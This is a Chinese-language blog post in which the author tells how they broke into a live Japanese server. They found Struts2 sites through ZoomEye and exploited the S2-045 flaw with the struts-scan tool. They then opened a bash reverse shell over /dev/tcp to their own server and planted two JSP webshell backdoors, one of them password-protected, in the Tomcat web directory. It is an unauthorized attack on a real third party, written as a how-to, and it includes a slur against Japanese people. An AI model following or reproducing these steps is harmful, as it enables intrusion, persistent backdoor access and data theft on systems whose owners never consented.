看我如何用structs2漏洞渗透日本的内网

收集structs2的网站

利用在线网站搜索“structs”

https://www.zoomeye.org/

1564143780377

接着上扫描器把搜索到的ip扫一遍

这里介绍一个神器struts-scan，开源的github上面可以找到

https://github.com/Lucifer1993/struts-scan

扫描器扫一遍

这里尝试了很多ip，终于扫到一个小日本的ip存在s2_045漏洞

ip：https://118.152.xxx.xxx

1564145105303

命令：python struts-scan.py https://118.152.xxx.xxx

然后直接用命令

python struts-scan.py -u https://118.152.xxx.xxx -i struts2-045

即可直接获得shell

1564144378395

然后这个shell一些命令被限制了，不过可以反弹shell，在自己的服务器上执行命令：

nc -lvvp 7070

接着在structs-scan得到的shell上输入反弹的命令

bash -i >& /dev/tcp/139.196.xxx.xxx/7070 0>&1

反弹成功，没想到的是获得的竟然是管理员权限

生成木马留后门

有了这么大权限就省了提权的麻烦，能干很多事情，先找到tomcat的目录(即外网能访问的目录)，然后vim编辑jsp一句话木马

目录在/usr/local/tomcat/webapps/warehouse

jsp一句话有：

无回显

1	<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求：https://118.152.xxx.xxx/3.jsp?i=ls

有回显

<%
   if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

请求：https://118.152.xxx.xxx/4.jsp?pwd=023&i=ls

不过这里由于环境原因会出现500的错误
